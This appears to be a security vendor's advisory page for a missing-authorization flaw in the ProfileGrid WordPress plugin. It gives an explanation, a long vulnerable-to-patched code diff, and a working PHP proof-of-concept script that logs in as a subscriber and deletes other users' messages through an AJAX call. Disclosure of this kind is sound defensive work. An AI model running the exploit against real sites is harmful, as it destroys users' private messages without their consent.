Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2488: ProfileGrid <= 5.9.8.1 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Message Deletion (profilegrid-user-profiles-groups-and-communities)

CVE ID CVE-2026-2488
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.9.8.1
Patched Version 5.9.8.2
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2488:
The vulnerability exists in the ProfileGrid WordPress plugin’s pg_delete_msg() function. This function lacked authorization checks, allowing any authenticated user to delete arbitrary messages. The root cause is the missing capability verification before performing the delete operation in the pg_delete_msg() function located in /public/class-profile-magic-public.php. The function accepted a message ID (mid parameter) and thread ID (tid parameter) via POST request to the WordPress admin-ajax.php endpoint with action=pg_delete_msg. Attackers with Subscriber-level access or higher could send a direct AJAX request containing a valid message ID belonging to any user. The plugin would delete the message without verifying the requesting user owned the message or had appropriate permissions. The patch adds multiple security layers: user authentication verification, nonce validation with backward compatibility, message ownership checking by comparing the message sender ID with the current user ID, and proper input sanitization. The fix ensures only the message sender can delete their own messages. Successful exploitation would allow attackers to delete private messages between other users, potentially disrupting communications and causing data loss.

Differential between vulnerable and patched code

Code Diff
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-access-options.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-access-options.php
@@ -92,7 +92,7 @@

                 $admin_note = get_post_meta( $id, 'pm_admin_note_content', true );
 		if ( trim( $admin_note )!='' ) {
-			$note          = '<div class="pg-admin-note">' . $admin_note . '</div>';
+			$note          = '<div class="pg-admin-note">' . wp_kses_post( $admin_note ) . '</div>';
 			$note_position = get_post_meta( $id, 'pm_admin_note_position', true );
 			if ( $note_position=='top' ) {
 				$content = $note . $content;
--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
@@ -301,6 +301,7 @@
 	$needs_limit_check = ! empty( $add_members );
 	$is_group_limit = 0;
 	$available_slots = -1;
+	$gid_for_membership = (string) $gid;
 	if ( $needs_limit_check ) {
 		$is_group_limit = (int) $dbhandler->get_value( 'GROUPS', 'is_group_limit', $gid );
 		if ( $is_group_limit === 1 ) {
@@ -325,10 +326,11 @@
 			if ( ! is_array( $user_groups ) ) {
 				$user_groups = $user_groups ? array( $user_groups ) : array();
 			}
-			if ( in_array( $gid, $user_groups, true ) ) {
+			$user_groups = array_map( 'strval', $user_groups );
+			if ( in_array( $gid_for_membership, $user_groups, true ) ) {
 				continue;
 			}
-			$pmrequests->profile_magic_join_group_fun( $uid, $gid, 'open' );
+			$pmrequests->profile_magic_join_group_fun( $uid, $gid_for_membership, 'open' );
 			if ( $is_group_limit === 1 ) {
 				$available_slots--;
 			}
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-html-generator.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-html-generator.php
@@ -861,7 +861,13 @@
 				$html ='';
                 break;
 		}
-		echo wp_kses_post( $html );
+        if(!empty($html)){
+            echo wp_kses_post( $html );
+        }
+        else{
+            echo '';
+        }
+
 	}

 	public function select_all_blog_popup( $total, $single ) {
@@ -1254,7 +1260,7 @@
                         <div class="pm-field-input pm-difl">
                             <textarea name="pm_admin_note_content" id="pm_admin_note_content" maxlength="5000" size="5000" onkeyup="pg_count_left_charactors('pm_admin_note_content','pg_text_counter','{CHAR} <?php esc_html_e( 'characters left', 'profilegrid-user-profiles-groups-and-communities' ); ?>','5000')">
                                                                                                                                                                                                                                  <?php
-																																																									if ( isset( $pm_admin_note_content ) ) {
+																																																									if ( isset( $pm_admin_note_content ) && !empty( trim( $pm_admin_note_content ) ) ) {
 																																																										echo wp_kses_post( $pm_admin_note_content );}
 																																																									?>
                             </textarea>
@@ -1592,7 +1598,12 @@
 				$html ='';
                 break;
 		}
-		echo wp_kses_post( $html );
+		if(!empty($html)){
+            echo wp_kses_post( $html );
+        }
+        else{
+            echo '';
+        }
 	}

 	public function pg_admin_popup_html_generator( $type, $id, $gid ) {
@@ -1620,7 +1631,12 @@
 				$html ='';
                 break;
 		}
-		echo wp_kses_post( $html );
+        if(!empty($html)){
+            echo wp_kses_post( $html );
+        }
+        else{
+            echo '';
+        }
 	}

 	public function add_user_in_group_popup( $gid ) {
@@ -1706,7 +1722,7 @@

 	public function remove_user_in_group_popup( $id, $gid ) {
 		$path                        =  plugins_url( '../public/partials/images/popup-close.png', __FILE__ );
-		( $postid=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Confirm', 'profilegrid-user-profiles-groups-and-communities' );
+		( $id=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Confirm', 'profilegrid-user-profiles-groups-and-communities' );
 		?>
             <div class="pm-popup-title pm-dbfl pm-bg-lt pm-pad10 pm-border-bt">
 			<?php echo esc_html( $title ); ?>
@@ -1741,7 +1757,7 @@

 	public function remove_admin_in_group_popup( $id, $gid ) {
 		$path                        =  plugins_url( '../public/partials/images/popup-close.png', __FILE__ );
-		( $postid=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Confirm', 'profilegrid-user-profiles-groups-and-communities' );
+		( $id=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Confirm', 'profilegrid-user-profiles-groups-and-communities' );
 		?>
             <div class="pm-popup-title pm-dbfl pm-bg-lt pm-pad10 pm-border-bt">
 			<?php echo esc_html( $title ); ?>
@@ -1911,7 +1927,7 @@

 	public function reset_password_user_popup( $id, $gid ) {
         $path                        =  plugins_url( '../public/partials/images/popup-close.png', __FILE__ );
-		( $postid=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Reset Password', 'profilegrid-user-profiles-groups-and-communities' );
+		( $id=='failed' )?$title = __( 'Failed!', 'profilegrid-user-profiles-groups-and-communities' ):$title = __( 'Reset Password', 'profilegrid-user-profiles-groups-and-communities' );
 		?>
             <div class="pm-popup-title pm-dbfl pm-bg-lt pm-pad10 pm-border-bt">
 			<?php echo esc_html( $title ); ?>
@@ -2470,7 +2486,12 @@
 				$html ='';
                 break;
 		}
-		echo wp_kses_post( $html );
+		if(!empty($html)){
+            echo wp_kses_post( $html );
+        }
+        else{
+            echo '';
+        }
 	}

 	public function pg_remove_group_in_user_profile_popup( $id, $gid ) {
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
  * Plugin Name:       ProfileGrid
  * Plugin URI:        http://profilegrid.co
  * Description:       ProfileGrid adds user groups and user profiles functionality to your site.
- * Version:           5.9.8.1
+ * Version:           5.9.8.2
  * Author:            ProfileGrid User Profiles
  * Author URI:        https://profilegrid.co
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
  */

 define('PROGRID_DB_VERSION',4.4);
-define('PROGRID_PLUGIN_VERSION','5.9.8.1');
+define('PROGRID_PLUGIN_VERSION','5.9.8.2');
 define('PROGRID_MULTI_GROUP_VERSION', 3.0);


--- a/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
@@ -185,11 +185,12 @@
 			$object                       = array();
 			$object['ajax_url']           = admin_url( 'admin-ajax.php' );
 			$object['empty_chat_message'] = esc_html__( "I am sorry, I can't send an empty message. Please write something and try sending it again.", 'profilegrid-user-profiles-groups-and-communities' );
-			$object['plugin_emoji_url']   = plugin_dir_url( __FILE__ ) . 'partials/images/img';
-			$object['seding_text']        = esc_html__( 'Sending', 'profilegrid-user-profiles-groups-and-communities' );
-			$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
-                        $object['nonce']            = wp_create_nonce( 'ajax-nonce' );
-			wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );
+		$object['plugin_emoji_url']   = plugin_dir_url( __FILE__ ) . 'partials/images/img';
+		$object['seding_text']        = esc_html__( 'Sending', 'profilegrid-user-profiles-groups-and-communities' );
+		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
+		$object['nonce']            = wp_create_nonce( 'ajax-nonce' );
+		$object['pg_delete_msg_nonce'] = wp_create_nonce( 'pg_delete_msg_nonce' );
+		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );

 	}

@@ -2764,6 +2765,32 @@
 		}

 		$gid = filter_input( INPUT_POST, 'gid' );
+		if ( $tab == 'blog' && in_array( $type, array( 'add_admin_note', 'edit_admin_note', 'delete_admin_note', 'add_admin_note_bulk' ), true ) ) {
+			if ( ! is_user_logged_in() ) {
+				wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+			}
+
+			$current_user_id = get_current_user_id();
+			$pmrequests      = new PM_request();
+			$gid             = (string) absint( $gid );
+			$is_group_leader = ( '0' !== $gid ) ? $pmrequests->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid ) : false;
+
+			$ids_to_check = is_array( $id ) ? $id : array( $id );
+
+			if ( empty( $ids_to_check ) ) {
+				wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+			}
+
+			foreach ( $ids_to_check as $post_id ) {
+				$post_author_id   = (int) get_post_field( 'post_author', $post_id );
+				$post_belongs_gid = ( $post_author_id > 0 && '0' !== $gid ) ? $pmrequests->profile_magic_check_is_group_member( $gid, $post_author_id ) : false;
+				$allowed          = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+					|| ( $is_group_leader && $post_belongs_gid );
+				if ( ! $allowed ) {
+					wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+				}
+			}
+		}
 		if ( $tab == 'blog' ) {
 			$html_generator->pg_blog_popup_html_generator( $type, $id, $gid );
 		}
@@ -2906,14 +2933,44 @@
 		$pm_request          = new PM_request();
 		$postid              = filter_input( INPUT_POST, 'post_id' );
 		$is_delete_request   = filter_input( INPUT_POST, 'delete_note' );
-		$admin_note_content  = filter_input( INPUT_POST, 'pm_admin_note_content' );
+		$admin_note_content  = filter_input( INPUT_POST, 'pm_admin_note_content', FILTER_UNSAFE_RAW );
 		$admin_note_position = filter_input( INPUT_POST, 'pm_admin_note_position' );
 		$retrieved_nonce     = filter_input( INPUT_POST, '_wpnonce' );
-		$admin_note_content  = substr( $admin_note_content, 0, 5000 );
 		if ( ! wp_verify_nonce( $retrieved_nonce, 'save_pm_admin_note_content' ) ) {
 			die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
 		}
+
+		if ( ! is_user_logged_in() ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$admin_note_content  = wp_unslash( $admin_note_content );
+		$admin_note_content  = substr( $admin_note_content, 0, 5000 );
+		$admin_note_content  = wp_kses_post( $admin_note_content );
+		$admin_note_position = sanitize_text_field( wp_unslash( $admin_note_position ) );
+		if ( $admin_note_position !== 'top' && $admin_note_position !== 'bottom' ) {
+			$admin_note_position = 'top';
+		}
+
+		$current_user_id = get_current_user_id();
+
 		if ( is_numeric( $postid ) ) {
+			$post_author_id   = (int) get_post_field( 'post_author', $postid );
+			$post_groups      = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+			$post_groups      = $pm_request->pg_filter_users_group_ids( $post_groups );
+			$post_groups      = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+			$is_group_leader  = false;
+			foreach ( $post_groups as $post_group_id ) {
+				if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+					$is_group_leader = true;
+					break;
+				}
+			}
+			$allowed          = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+				|| $is_group_leader;
+			if ( ! $allowed ) {
+				wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+			}
 			if ( $is_delete_request == 1 ) {
 				 $html_generator->delete_admin_note_popup( $postid );
 			} else {
@@ -2924,6 +2981,24 @@
 		} else {
 			$ids = maybe_unserialize( $pm_request->pm_encrypt_decrypt_pass( 'decrypt', $postid ) );
 			foreach ( $ids as $id ) {
+				$post_author_id   = (int) get_post_field( 'post_author', $id );
+				$post_groups      = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+				$post_groups      = $pm_request->pg_filter_users_group_ids( $post_groups );
+				$post_groups      = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+				$is_group_leader  = false;
+				foreach ( $post_groups as $post_group_id ) {
+					if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+						$is_group_leader = true;
+						break;
+					}
+				}
+				$allowed          = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+					|| $is_group_leader;
+				if ( ! $allowed ) {
+					wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+				}
+			}
+			foreach ( $ids as $id ) {
 				update_post_meta( $id, 'pm_admin_note_content', $admin_note_content );
 				update_post_meta( $id, 'pm_admin_note_position', $admin_note_position );
 			}
@@ -2938,11 +3013,32 @@

 	public function pm_delete_admin_note() {
 		$html_generator  = new PM_HTML_Creator( $this->profile_magic, $this->version );
+		$pm_request      = new PM_request();
 		$postid          = filter_input( INPUT_POST, 'post_id' );
 		$retrieved_nonce = filter_input( INPUT_POST, '_wpnonce' );
 		if ( ! wp_verify_nonce( $retrieved_nonce, 'delete_pm_admin_note' ) ) {
 			die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
 		}
+		if ( ! is_user_logged_in() ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+		$current_user_id = get_current_user_id();
+		$post_author_id   = (int) get_post_field( 'post_author', $postid );
+		$post_groups      = $pm_request->profile_magic_get_user_field_value( $post_author_id, 'pm_group' );
+		$post_groups      = $pm_request->pg_filter_users_group_ids( $post_groups );
+		$post_groups      = is_array( $post_groups ) ? $post_groups : array( $post_groups );
+		$is_group_leader  = false;
+		foreach ( $post_groups as $post_group_id ) {
+			if ( ! empty( $post_group_id ) && $pm_request->pg_check_in_single_group_is_user_group_leader( $current_user_id, (string) $post_group_id ) ) {
+				$is_group_leader = true;
+				break;
+			}
+		}
+		$allowed          = current_user_can( 'manage_options' ) || is_super_admin( $current_user_id )
+			|| $is_group_leader;
+		if ( ! $allowed ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
 		$is_delete = delete_post_meta( $postid, 'pm_admin_note_content' );
 		$is_delete = delete_post_meta( $postid, 'pm_admin_note_position' );
 		if ( $is_delete ) {
@@ -4490,7 +4586,6 @@
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
                 $object['nonce']            = wp_create_nonce( 'ajax-nonce' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );
-
 		$rid          = filter_input( INPUT_GET, 'rid' );
 		$current_user = wp_get_current_user();
 		$profilechat  = new ProfileMagic_Chat();
@@ -5938,13 +6033,54 @@
 	}

 	public function pg_delete_msg() {
-		$dbhandler  = new PM_DBhandler();
-		$pmrequests = new PM_request();
-		$mid        = filter_input( INPUT_POST, 'mid' );
-		$tid        = filter_input( INPUT_POST, 'tid' );
-		$dbhandler->remove_row( 'MSG_CONVERSATION', 'm_id', $mid );
-		$pmrequests->pm_update_thread_time( $tid, 2 );
-		die;
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error( 'Authentication required', 401 );
+		}
+
+		$nonce_ok = check_ajax_referer( 'pg_delete_msg_nonce', 'nonce', false );
+		if ( ! $nonce_ok ) {
+			// Backward compatibility with older clients that send the generic ajax nonce.
+			$nonce_ok = check_ajax_referer( 'ajax-nonce', 'nonce', false );
+		}
+		if ( ! $nonce_ok ) {
+			wp_send_json_error( 'Invalid nonce', 403 );
+		}
+
+		$mid = filter_input( INPUT_POST, 'mid' );
+		$tid = filter_input( INPUT_POST, 'tid' );
+		$mid = absint( $mid );
+		$tid = absint( $tid );
+		if ( 0 === $mid ) {
+			wp_send_json_error( 'Invalid message ID', 400 );
+		}
+
+		$dbhandler = new PM_DBhandler();
+		$message   = $dbhandler->get_row( 'MSG_CONVERSATION', $mid, 'm_id' );
+		if ( empty( $message ) ) {
+			wp_send_json_error( 'Message not found', 404 );
+		}
+
+		$sender_id       = isset( $message->s_id ) ? (int) $message->s_id : 0;
+		$current_user_id = (int) get_current_user_id();
+		if ( $sender_id !== $current_user_id ) {
+			wp_send_json_error( 'Unauthorized', 403 );
+		}
+
+		$deleted = $dbhandler->remove_row( 'MSG_CONVERSATION', 'm_id', $mid );
+		if ( ! $deleted ) {
+			wp_send_json_error( 'Message not found', 404 );
+		}
+
+		if ( 0 !== $tid ) {
+			$pmrequests = new PM_request();
+			$pmrequests->pm_update_thread_time( $tid, 2 );
+		}
+
+		wp_send_json_success(
+			array(
+				'deleted' => $mid,
+			)
+		);
 	}

 	public function pg_msg_delete_thread_popup_html() {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2488 - ProfileGrid <= 5.9.8.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Message Deletion
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$message_id = 123; // ID of message to delete
$thread_id = 456; // Thread ID containing the message

// Step 1: Authenticate to WordPress
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Exploit missing authorization in pg_delete_msg() function
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'pg_delete_msg',
    'mid' => $message_id,
    'tid' => $thread_id
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Check if message was deleted
// In vulnerable versions, successful deletion returns empty response
// In patched versions, returns JSON error about authorization
if ($response === '') {
    echo "Message deletion likely successful (vulnerable version)";
} else {
    echo "Response: " . htmlspecialchars($response);
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School